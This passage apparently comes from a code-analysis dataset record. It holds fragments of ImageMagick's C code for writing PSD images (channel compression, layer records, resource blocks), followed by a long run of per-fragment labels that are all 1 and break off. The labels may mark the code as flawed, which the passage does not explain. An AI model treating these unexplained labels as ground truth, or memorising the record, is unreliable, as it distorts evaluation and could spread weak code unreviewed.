< channels; i++)\n for (y=0; y < (ssize_t) next_image->rows; y++)\n length+=SetPSDOffset(psd_info,image,0);\n }\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n else if (compression == ZipCompression)\n length=(size_t) WriteBlobShort(image,ZipWithoutPrediction);\n#endif\n else\n length=(size_t) WriteBlobShort(image,Raw);\n return(length);\n}", "static size_t WritePSDChannel(const PSDInfo *psd_info,\n const ImageInfo *image_info,Image *image,Image *next_image,\n const QuantumType quantum_type, unsigned char *compact_pixels,\n MagickOffsetType size_offset,const MagickBooleanType separate,\n const CompressionType compression,ExceptionInfo *exception)\n{\n MagickBooleanType\n monochrome;", " QuantumInfo\n *quantum_info;", " const Quantum\n *p;", " ssize_t\n i;", " size_t\n count,\n length;", " ssize_t\n y;", " unsigned char\n *pixels;", "#ifdef MAGICKCORE_ZLIB_DELEGATE", " int\n flush,\n level;", " unsigned char\n *compressed_pixels;", " z_stream\n stream;", " compressed_pixels=(unsigned char *) NULL;\n flush=Z_NO_FLUSH;\n#endif\n count=0;\n if (separate != MagickFalse)\n {\n size_offset=TellBlob(image)+2;\n count+=WriteCompressionStart(psd_info,image,next_image,compression,1);\n }\n if (next_image->depth > 8)\n next_image->depth=16;\n monochrome=IsImageMonochrome(image) && (image->depth == 1) ?\n MagickTrue : MagickFalse;\n quantum_info=AcquireQuantumInfo(image_info,next_image);\n if (quantum_info == (QuantumInfo *) NULL)\n return(0);\n pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n if (compression == ZipCompression)\n {\n compressed_pixels=(unsigned char *) AcquireQuantumMemory(\n MagickMinBufferExtent,sizeof(*compressed_pixels));\n if (compressed_pixels == (unsigned char *) NULL)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n return(0);\n }\n memset(&stream,0,sizeof(stream));\n stream.data_type=Z_BINARY;\n level=Z_DEFAULT_COMPRESSION;\n if ((image_info->quality > 0 && image_info->quality < 10))\n level=(int) image_info->quality;\n if (deflateInit(&stream,level) != Z_OK)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n compressed_pixels=(unsigned char *) RelinquishMagickMemory(\n compressed_pixels);\n return(0);\n }\n }\n#endif\n for (y=0; y < (ssize_t) next_image->rows; y++)\n {\n p=GetVirtualPixels(next_image,0,y,next_image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n if (monochrome != MagickFalse)\n for (i=0; i < (ssize_t) length; i++)\n pixels[i]=(~pixels[i]);\n if (compression == RLECompression)\n {\n length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels,\n exception);\n count+=WriteBlob(image,length,compact_pixels);\n size_offset+=WritePSDOffset(psd_info,image,length,size_offset);\n }\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n else if (compression == ZipCompression)\n {\n stream.avail_in=(uInt) length;\n stream.next_in=(Bytef *) pixels;\n if (y == (ssize_t) next_image->rows-1)\n flush=Z_FINISH;\n do {\n stream.avail_out=(uInt) MagickMinBufferExtent;\n stream.next_out=(Bytef *) compressed_pixels;\n if (deflate(&stream,flush) == Z_STREAM_ERROR)\n break;\n length=(size_t) MagickMinBufferExtent-stream.avail_out;\n if (length > 0)\n count+=WriteBlob(image,length,compressed_pixels);\n } while (stream.avail_out == 0);\n }\n#endif\n else\n count+=WriteBlob(image,length,pixels);\n }\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n if (compression == ZipCompression)\n {\n (void) deflateEnd(&stream);\n compressed_pixels=(unsigned char *) RelinquishMagickMemory(\n compressed_pixels);\n }\n#endif\n quantum_info=DestroyQuantumInfo(quantum_info);\n return(count);\n}", "static unsigned char *AcquireCompactPixels(const Image *image,\n ExceptionInfo *exception)\n{\n size_t\n packet_size;", " unsigned char\n *compact_pixels;", " packet_size=image->depth > 8UL ? 2UL : 1UL;\n compact_pixels=(unsigned char *) AcquireQuantumMemory((9*\n image->columns)+1,packet_size*sizeof(*compact_pixels));\n if (compact_pixels == (unsigned char *) NULL)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n ResourceLimitError,\"MemoryAllocationFailed\",\"`%s'\",image->filename);\n }\n return(compact_pixels);\n}", "static size_t WritePSDChannels(const PSDInfo *psd_info,\n const ImageInfo *image_info,Image *image,Image *next_image,\n MagickOffsetType size_offset,const MagickBooleanType separate,\n ExceptionInfo *exception)\n{\n CompressionType\n compression;", " Image\n *mask;", " MagickOffsetType\n rows_offset;", " size_t\n channels,\n count,\n length,\n offset_length;", " unsigned char\n *compact_pixels;", " count=0;\n offset_length=0;\n rows_offset=0;\n compact_pixels=(unsigned char *) NULL;\n compression=next_image->compression;\n if (image_info->compression != UndefinedCompression)\n compression=image_info->compression;\n if (compression == RLECompression)\n {\n compact_pixels=AcquireCompactPixels(next_image,exception);\n if (compact_pixels == (unsigned char *) NULL)\n return(0);\n }\n channels=1;\n if (separate == MagickFalse)\n {\n if ((next_image->storage_class != PseudoClass) ||\n (IsImageGray(next_image) != MagickFalse))\n {\n if (IsImageGray(next_image) == MagickFalse)\n channels=(size_t) (next_image->colorspace == CMYKColorspace ? 4 :\n 3);\n if (next_image->alpha_trait != UndefinedPixelTrait)\n channels++;\n }\n rows_offset=TellBlob(image)+2;\n count+=WriteCompressionStart(psd_info,image,next_image,compression,\n (ssize_t) channels);\n offset_length=(next_image->rows*(psd_info->version == 1 ? 2 : 4));\n }\n size_offset+=2;\n if ((next_image->storage_class == PseudoClass) &&\n (IsImageGray(next_image) == MagickFalse))\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n IndexQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n else\n {\n if (IsImageGray(next_image) != MagickFalse)\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n GrayQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n else\n {\n if (next_image->colorspace == CMYKColorspace)\n (void) NegateCMYK(next_image,exception);", " length=WritePSDChannel(psd_info,image_info,image,next_image,\n RedQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;", " length=WritePSDChannel(psd_info,image_info,image,next_image,\n GreenQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;", " length=WritePSDChannel(psd_info,image_info,image,next_image,\n BlueQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;", " if (next_image->colorspace == CMYKColorspace)\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n BlackQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n }\n if (next_image->alpha_trait != UndefinedPixelTrait)\n {\n length=WritePSDChannel(psd_info,image_info,image,next_image,\n AlphaQuantum,compact_pixels,rows_offset,separate,compression,\n exception);\n if (separate != MagickFalse)\n size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2;\n else\n rows_offset+=offset_length;\n count+=length;\n }\n }\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n if (next_image->colorspace == CMYKColorspace)\n (void) NegateCMYK(next_image,exception);\n if (separate != MagickFalse)\n {\n const char\n *property;", " property=GetImageArtifact(next_image,\"psd:opacity-mask\");\n if (property != (const char *) NULL)\n {\n mask=(Image *) GetImageRegistry(ImageRegistryType,property,\n exception);\n if (mask != (Image *) NULL)\n {\n if (compression == RLECompression)\n {\n compact_pixels=AcquireCompactPixels(mask,exception);\n if (compact_pixels == (unsigned char *) NULL)\n return(0);\n }\n length=WritePSDChannel(psd_info,image_info,image,mask,\n RedQuantum,compact_pixels,rows_offset,MagickTrue,compression,\n exception);\n (void) WritePSDSize(psd_info,image,length,size_offset);\n count+=length;\n compact_pixels=(unsigned char *) RelinquishMagickMemory(\n compact_pixels);\n }\n }\n }\n return(count);\n}", "static size_t WritePascalString(Image *image,const char *value,size_t padding)\n{\n size_t\n count,\n length;", " ssize_t\n i;", " /*\n Max length is 255.\n */\n count=0;\n length=(strlen(value) > 255UL ) ? 255UL : strlen(value);\n if (length == 0)\n count+=WriteBlobByte(image,0);\n else\n {\n count+=WriteBlobByte(image,(unsigned char) length);\n count+=WriteBlob(image,length,(const unsigned char *) value);\n }\n length++;\n if ((length % padding) == 0)\n return(count);\n for (i=0; i < (ssize_t) (padding-(length % padding)); i++)\n count+=WriteBlobByte(image,0);\n return(count);\n}", "static void WriteResolutionResourceBlock(Image *image)\n{\n double\n x_resolution,\n y_resolution;", " unsigned short\n units;", " if (image->units == PixelsPerCentimeterResolution)\n {\n x_resolution=2.54*65536.0*image->resolution.x+0.5;\n y_resolution=2.54*65536.0*image->resolution.y+0.5;\n units=2;\n }\n else\n {\n x_resolution=65536.0*image->resolution.x+0.5;\n y_resolution=65536.0*image->resolution.y+0.5;\n units=1;\n }\n (void) WriteBlob(image,4,(const unsigned char *) \"8BIM\");\n (void) WriteBlobMSBShort(image,0x03ED);\n (void) WriteBlobMSBShort(image,0);\n (void) WriteBlobMSBLong(image,16); /* resource size */\n (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5));\n (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */\n (void) WriteBlobMSBShort(image,units); /* width unit */\n (void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5));\n (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */\n (void) WriteBlobMSBShort(image,units); /* height unit */\n}", "static inline size_t WriteChannelSize(const PSDInfo *psd_info,Image *image,\n const signed short channel)\n{\n size_t\n count;", " count=(size_t) WriteBlobShort(image,(const unsigned short) channel);\n count+=SetPSDSize(psd_info,image,0);\n return(count);\n}", "static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile)\n{\n const unsigned char\n *p;", " size_t\n length;", " unsigned char\n *datum;", " unsigned int\n count,\n long_sans;", " unsigned short\n id,\n short_sans;", " length=GetStringInfoLength(bim_profile);\n if (length < 16)\n return;\n datum=GetStringInfoDatum(bim_profile);\n for (p=datum; (p >= datum) && (p < (datum+length-16)); )\n {\n unsigned char\n *q;", " q=(unsigned char *) p;\n if (LocaleNCompare((const char *) p,\"8BIM\",4) != 0)\n break;\n p=PushLongPixel(MSBEndian,p,&long_sans);\n p=PushShortPixel(MSBEndian,p,&id);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushLongPixel(MSBEndian,p,&count);\n if (id == 0x0000040f)\n {\n ssize_t\n quantum;", " quantum=PSDQuantum(count)+12;\n if ((quantum >= 12) && (quantum < (ssize_t) length))\n {\n if ((q+quantum < (datum+length-16)))\n (void) memmove(q,q+quantum,length-quantum-(q-datum));\n SetStringInfoLength(bim_profile,length-quantum);\n }\n break;\n }\n p+=count;\n if ((count & 0x01) != 0)\n p++;\n }\n}", "static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile)\n{\n const unsigned char\n *p;", " size_t\n length;", " unsigned char\n *datum;", " unsigned int\n count,\n long_sans;", " unsigned short\n id,\n short_sans;", " length=GetStringInfoLength(bim_profile);\n if (length < 16)\n return;\n datum=GetStringInfoDatum(bim_profile);\n for (p=datum; (p >= datum) && (p < (datum+length-16)); )\n {\n unsigned char\n *q;", " ssize_t\n cnt;", " q=(unsigned char *) p;\n if (LocaleNCompare((const char *) p,\"8BIM\",4) != 0)\n return;\n p=PushLongPixel(MSBEndian,p,&long_sans);\n p=PushShortPixel(MSBEndian,p,&id);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushLongPixel(MSBEndian,p,&count);\n cnt=PSDQuantum(count);\n if (cnt < 0)\n return;\n if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12)) &&\n ((ssize_t) length-(cnt+12)-(q-datum)) > 0)\n {\n (void) memmove(q,q+cnt+12,length-(cnt+12)-(q-datum));\n SetStringInfoLength(bim_profile,length-(cnt+12));\n break;\n }\n p+=count;\n if ((count & 0x01) != 0)\n p++;\n }\n}", "static const StringInfo *GetAdditionalInformation(const ImageInfo *image_info,\n Image *image,ExceptionInfo *exception)\n{\n#define PSDKeySize 5\n#define PSDAllowedLength 36", " char\n key[PSDKeySize];", " /* Whitelist of keys from: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/ */\n const char\n allowed[PSDAllowedLength][PSDKeySize] = {\n \"blnc\", \"blwh\", \"brit\", \"brst\", \"clbl\", \"clrL\", \"curv\", \"expA\", \"FMsk\",\n \"GdFl\", \"grdm\", \"hue \", \"hue2\", \"infx\", \"knko\", \"lclr\", \"levl\", \"lnsr\",\n \"lfx2\", \"luni\", \"lrFX\", \"lspf\", \"lyid\", \"lyvr\", \"mixr\", \"nvrt\", \"phfl\",\n \"post\", \"PtFl\", \"selc\", \"shpa\", \"sn2P\", \"SoCo\", \"thrs\", \"tsly\", \"vibA\"\n },\n *option;", " const StringInfo\n *info;", " MagickBooleanType\n found;", " size_t\n i;", " size_t\n remaining_length,\n length;", " StringInfo\n *profile;", " unsigned char\n *p;", " unsigned int\n size;", " info=GetImageProfile(image,\"psd:additional-info\");\n if (info == (const StringInfo *) NULL)\n return((const StringInfo *) NULL);\n option=GetImageOption(image_info,\"psd:additional-info\");\n if (LocaleCompare(option,\"all\") == 0)\n return(info);\n if (LocaleCompare(option,\"selective\") != 0)\n {\n profile=RemoveImageProfile(image,\"psd:additional-info\");\n return(DestroyStringInfo(profile));\n }\n length=GetStringInfoLength(info);\n p=GetStringInfoDatum(info);\n remaining_length=length;\n length=0;\n while (remaining_length >= 12)\n {\n /* skip over signature */\n p+=4;\n key[0]=(char) (*p++);\n key[1]=(char) (*p++);\n key[2]=(char) (*p++);\n key[3]=(char) (*p++);\n key[4]='\\0';\n size=(unsigned int) (*p++) << 24;\n size|=(unsigned int) (*p++) << 16;\n size|=(unsigned int) (*p++) << 8;\n size|=(unsigned int) (*p++);\n size=size & 0xffffffff;\n remaining_length-=12;\n if ((size_t) size > remaining_length)\n return((const StringInfo *) NULL);\n found=MagickFalse;\n for (i=0; i < PSDAllowedLength; i++)\n {\n if (LocaleNCompare(key,allowed[i],PSDKeySize) != 0)\n continue;", " found=MagickTrue;\n break;\n }\n remaining_length-=(size_t) size;\n if (found == MagickFalse)\n {\n if (remaining_length > 0)\n p=(unsigned char *) memmove(p-12,p+size,remaining_length);\n continue;\n }\n length+=(size_t) size+12;\n p+=size;\n }\n profile=RemoveImageProfile(image,\"psd:additional-info\");\n if (length == 0)\n return(DestroyStringInfo(profile));\n SetStringInfoLength(profile,(const size_t) length);\n (void) SetImageProfile(image,\"psd:additional-info\",info,exception);\n return(profile);\n}", "static MagickBooleanType WritePSDLayersInternal(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,size_t *layers_size,\n ExceptionInfo *exception)\n{\n char\n layer_name[MagickPathExtent];", " const char\n *property;", " const StringInfo\n *info;", " Image\n *base_image,\n *next_image;", " MagickBooleanType\n status;", " MagickOffsetType\n *layer_size_offsets,\n size_offset;", " ssize_t\n i;", " size_t\n layer_count,\n layer_index,\n length,\n name_length,\n rounded_size,\n size;", " status=MagickTrue;\n base_image=GetNextImageInList(image);\n if (base_image == (Image *) NULL)\n base_image=image;\n size=0;\n size_offset=TellBlob(image);\n (void) SetPSDSize(psd_info,image,0);\n layer_count=0;\n for (next_image=base_image; next_image != NULL; )\n {\n layer_count++;\n next_image=GetNextImageInList(next_image);\n }\n if (image->alpha_trait != UndefinedPixelTrait)\n size+=WriteBlobShort(image,-(unsigned short) layer_count);\n else\n size+=WriteBlobShort(image,(unsigned short) layer_count);\n layer_size_offsets=(MagickOffsetType *) AcquireQuantumMemory(\n (size_t) layer_count,sizeof(MagickOffsetType));\n if (layer_size_offsets == (MagickOffsetType *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n layer_index=0;\n for (next_image=base_image; next_image != NULL; )\n {\n Image\n *mask;", " unsigned char\n default_color;", " unsigned short\n channels,\n total_channels;", " mask=(Image *) NULL;\n property=GetImageArtifact(next_image,\"psd:opacity-mask\");\n default_color=0;\n if (property != (const char *) NULL)\n {\n mask=(Image *) GetImageRegistry(ImageRegistryType,property,exception);\n default_color=(unsigned char) (strlen(property) == 9 ? 255 : 0);\n }\n size+=WriteBlobSignedLong(image,(signed int) next_image->page.y);\n size+=WriteBlobSignedLong(image,(signed int) next_image->page.x);\n size+=WriteBlobSignedLong(image,(signed int) (next_image->page.y+\n next_image->rows));\n size+=WriteBlobSignedLong(image,(signed int) (next_image->page.x+\n next_image->columns));\n channels=1;\n if ((next_image->storage_class != PseudoClass) &&\n (IsImageGray(next_image) == MagickFalse))\n channels=(unsigned short) (next_image->colorspace == CMYKColorspace ? 4 :\n 3);\n total_channels=channels;\n if (next_image->alpha_trait != UndefinedPixelTrait)\n total_channels++;\n if (mask != (Image *) NULL)\n total_channels++;\n size+=WriteBlobShort(image,total_channels);\n layer_size_offsets[layer_index++]=TellBlob(image);\n for (i=0; i < (ssize_t) channels; i++)\n size+=WriteChannelSize(psd_info,image,(signed short) i);\n if (next_image->alpha_trait != UndefinedPixelTrait)\n size+=WriteChannelSize(psd_info,image,-1);\n if (mask != (Image *) NULL)\n size+=WriteChannelSize(psd_info,image,-2);\n size+=WriteBlobString(image,image->endian == LSBEndian ? \"MIB8\" :\"8BIM\");\n size+=WriteBlobString(image,CompositeOperatorToPSDBlendMode(next_image));\n property=GetImageArtifact(next_image,\"psd:layer.opacity\");\n if (property != (const char *) NULL)\n {\n Quantum\n opacity;", " opacity=(Quantum) StringToInteger(property);\n size+=WriteBlobByte(image,ScaleQuantumToChar(opacity));\n (void) ApplyPSDLayerOpacity(next_image,opacity,MagickTrue,exception);\n }\n else\n size+=WriteBlobByte(image,255);\n size+=WriteBlobByte(image,0);\n size+=WriteBlobByte(image,(const unsigned char)\n (next_image->compose == NoCompositeOp ? 1 << 0x02 : 1)); /* layer properties - visible, etc. */\n size+=WriteBlobByte(image,0);\n info=GetAdditionalInformation(image_info,next_image,exception);\n property=(const char *) GetImageProperty(next_image,\"label\",exception);\n if (property == (const char *) NULL)\n {\n (void) FormatLocaleString(layer_name,MagickPathExtent,\"L%.20g\",\n (double) layer_index);\n property=layer_name;\n }\n name_length=strlen(property)+1;\n if ((name_length % 4) != 0)\n name_length+=(4-(name_length % 4));\n if (info != (const StringInfo *) NULL)\n name_length+=GetStringInfoLength(info);\n name_length+=8;\n if (mask != (Image *) NULL)\n name_length+=20;\n size+=WriteBlobLong(image,(unsigned int) name_length);\n if (mask == (Image *) NULL)\n size+=WriteBlobLong(image,0);\n else\n {\n if (mask->compose != NoCompositeOp)\n (void) ApplyPSDOpacityMask(next_image,mask,ScaleCharToQuantum(\n default_color),MagickTrue,exception);\n mask->page.y+=image->page.y;\n mask->page.x+=image->page.x;\n size+=WriteBlobLong(image,20);\n size+=WriteBlobSignedLong(image,(const signed int) mask->page.y);\n size+=WriteBlobSignedLong(image,(const signed int) mask->page.x);\n size+=WriteBlobSignedLong(image,(const signed int) (mask->rows+\n mask->page.y));\n size+=WriteBlobSignedLong(image,(const signed int) (mask->columns+\n mask->page.x));\n size+=WriteBlobByte(image,default_color);\n size+=WriteBlobByte(image,(const unsigned char)\n (mask->compose == NoCompositeOp ? 2 : 0));\n size+=WriteBlobMSBShort(image,0);\n }\n size+=WriteBlobLong(image,0);\n size+=WritePascalString(image,property,4);\n if (info != (const StringInfo *) NULL)\n size+=WriteBlob(image,GetStringInfoLength(info),\n GetStringInfoDatum(info));\n next_image=GetNextImageInList(next_image);\n }\n /*\n Now the image data!\n */\n next_image=base_image;\n layer_index=0;\n while (next_image != NULL)\n {\n length=WritePSDChannels(psd_info,image_info,image,next_image,\n layer_size_offsets[layer_index++],MagickTrue,exception);\n if (length == 0)\n {\n status=MagickFalse;\n break;\n }\n size+=length;\n next_image=GetNextImageInList(next_image);\n }\n /*\n Write the total size\n */\n if (layers_size != (size_t*) NULL)\n *layers_size=size;\n if ((size/2) != ((size+1)/2))\n rounded_size=size+1;\n else\n rounded_size=size;\n (void) WritePSDSize(psd_info,image,rounded_size,size_offset);\n layer_size_offsets=(MagickOffsetType *) RelinquishMagickMemory(\n layer_size_offsets);\n /*\n Remove the opacity mask from the registry\n */\n next_image=base_image;\n while (next_image != (Image *) NULL)\n {\n property=GetImageArtifact(next_image,\"psd:opacity-mask\");\n if (property != (const char *) NULL)\n (void) DeleteImageRegistry(property);\n next_image=GetNextImageInList(next_image);\n }\n return(status);\n}", "ModuleExport MagickBooleanType WritePSDLayers(Image * image,\n const ImageInfo *image_info,const PSDInfo *psd_info,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " status=IsRightsAuthorized(CoderPolicyDomain,WritePolicyRights,\"PSD\");\n if (status == MagickFalse)\n return(MagickTrue);\n return WritePSDLayersInternal(image,image_info,psd_info,(size_t*) NULL,\n exception);\n}", "static MagickBooleanType WritePSDImage(const ImageInfo *image_info,\n Image *image,ExceptionInfo *exception)\n{\n const StringInfo\n *icc_profile;", " MagickBooleanType\n status;", " PSDInfo\n psd_info;", " ssize_t\n i;", " size_t\n length,\n num_channels;", " StringInfo\n *bim_profile;", " /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n if (status == MagickFalse)\n return(status);\n psd_info.version=1;\n if ((LocaleCompare(image_info->magick,\"PSB\") == 0) ||\n (image->columns > 30000) || (image->rows > 30000))\n psd_info.version=2;\n (void) WriteBlob(image,4,(const unsigned char *) \"8BPS\");\n (void) WriteBlobMSBShort(image,psd_info.version); /* version */\n for (i=1; i <= 6; i++)\n (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */\n if ((GetImageProfile(image,\"icc\") == (StringInfo *) NULL) &&\n (SetImageGray(image,exception) != MagickFalse))\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 2UL : 1UL);\n else\n if ((image_info->type != TrueColorType) &&\n (image_info->type != TrueColorAlphaType) &&\n (image->storage_class == PseudoClass))\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 2UL : 1UL);\n else\n {\n if (image->storage_class == PseudoClass)\n (void) SetImageStorageClass(image,DirectClass,exception);\n if (image->colorspace != CMYKColorspace)\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 4UL : 3UL);\n else\n num_channels=(image->alpha_trait != UndefinedPixelTrait ? 5UL : 4UL);\n }\n (void) WriteBlobMSBShort(image,(unsigned short) num_channels);\n (void) WriteBlobMSBLong(image,(unsigned int) image->rows);\n (void) WriteBlobMSBLong(image,(unsigned int) image->columns);\n if (IsImageGray(image) != MagickFalse)\n {\n MagickBooleanType\n monochrome;", " /*\n Write depth & mode.\n */\n monochrome=IsImageMonochrome(image) && (image->depth == 1) ?\n MagickTrue : MagickFalse;\n (void) WriteBlobMSBShort(image,(unsigned short)\n (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8));\n (void) WriteBlobMSBShort(image,(unsigned short)\n (monochrome != MagickFalse ? BitmapMode : GrayscaleMode));\n }\n else\n {\n (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class ==\n PseudoClass ? 8 : image->depth > 8 ? 16 : 8));", " if (((image_info->colorspace != UndefinedColorspace) ||\n (image->colorspace != CMYKColorspace)) &&\n (image_info->colorspace != CMYKColorspace))\n {\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n (void) WriteBlobMSBShort(image,(unsigned short)\n (image->storage_class == PseudoClass ? IndexedMode : RGBMode));\n }\n else\n {\n if (image->colorspace != CMYKColorspace)\n (void) TransformImageColorspace(image,CMYKColorspace,exception);\n (void) WriteBlobMSBShort(image,CMYKMode);\n }\n }\n if ((IsImageGray(image) != MagickFalse) ||\n (image->storage_class == DirectClass) || (image->colors > 256))\n (void) WriteBlobMSBLong(image,0);\n else\n {\n /*\n Write PSD raster colormap.\n */\n (void) WriteBlobMSBLong(image,768);\n for (i=0; i < (ssize_t) image->colors; i++)\n (void) WriteBlobByte(image,ScaleQuantumToChar(ClampToQuantum(\n image->colormap[i].red)));\n for ( ; i < 256; i++)\n (void) WriteBlobByte(image,0);\n for (i=0; i < (ssize_t) image->colors; i++)\n (void) WriteBlobByte(image,ScaleQuantumToChar(ClampToQuantum(\n image->colormap[i].green)));\n for ( ; i < 256; i++)\n (void) WriteBlobByte(image,0);\n for (i=0; i < (ssize_t) image->colors; i++)\n (void) WriteBlobByte(image,ScaleQuantumToChar(ClampToQuantum(\n image->colormap[i].blue)));\n for ( ; i < 256; i++)\n (void) WriteBlobByte(image,0);\n }\n /*\n Image resource block.\n */\n length=28; /* 0x03EB */\n bim_profile=(StringInfo *) GetImageProfile(image,\"8bim\");\n icc_profile=GetImageProfile(image,\"icc\");\n if (bim_profile != (StringInfo *) NULL)\n {\n bim_profile=CloneStringInfo(bim_profile);\n if (icc_profile != (StringInfo *) NULL)\n RemoveICCProfileFromResourceBlock(bim_profile);\n RemoveResolutionFromResourceBlock(bim_profile);\n length+=PSDQuantum(GetStringInfoLength(bim_profile));\n }\n if (icc_profile != (const StringInfo *) NULL)\n length+=PSDQuantum(GetStringInfoLength(icc_profile))+12;\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n WriteResolutionResourceBlock(image);\n if (bim_profile != (StringInfo *) NULL)\n {\n (void) WriteBlob(image,GetStringInfoLength(bim_profile),\n GetStringInfoDatum(bim_profile));\n bim_profile=DestroyStringInfo(bim_profile);\n }\n if (icc_profile != (StringInfo *) NULL)\n {\n (void) WriteBlob(image,4,(const unsigned char *) \"8BIM\");\n (void) WriteBlobMSBShort(image,0x0000040F);\n (void) WriteBlobMSBShort(image,0);\n (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength(\n icc_profile));\n (void) WriteBlob(image,GetStringInfoLength(icc_profile),\n GetStringInfoDatum(icc_profile));\n if ((ssize_t) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile)))\n (void) WriteBlobByte(image,0);\n }\n if (status != MagickFalse)\n {\n const char\n *option;", " CompressionType\n compression;", " MagickOffsetType\n size_offset;", " size_t\n size;", " size_offset=TellBlob(image);\n (void) SetPSDSize(&psd_info,image,0);\n option=GetImageOption(image_info,\"psd:write-layers\");\n if (IsStringFalse(option) != MagickTrue)\n {\n status=WritePSDLayersInternal(image,image_info,&psd_info,&size,\n exception);\n (void) WritePSDSize(&psd_info,image,size+\n (psd_info.version == 1 ? 8 : 12),size_offset);\n (void) WriteBlobMSBLong(image,0); /* user mask data */\n }\n /*\n Write composite image.\n */\n compression=image->compression;\n if (image_info->compression != UndefinedCompression)\n image->compression=image_info->compression;\n if (image->compression == ZipCompression)\n image->compression=RLECompression;\n if (WritePSDChannels(&psd_info,image_info,image,image,0,MagickFalse,\n exception) == 0)\n status=MagickFalse;\n image->compression=compression;\n }\n (void) CloseBlob(image);\n return(status);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 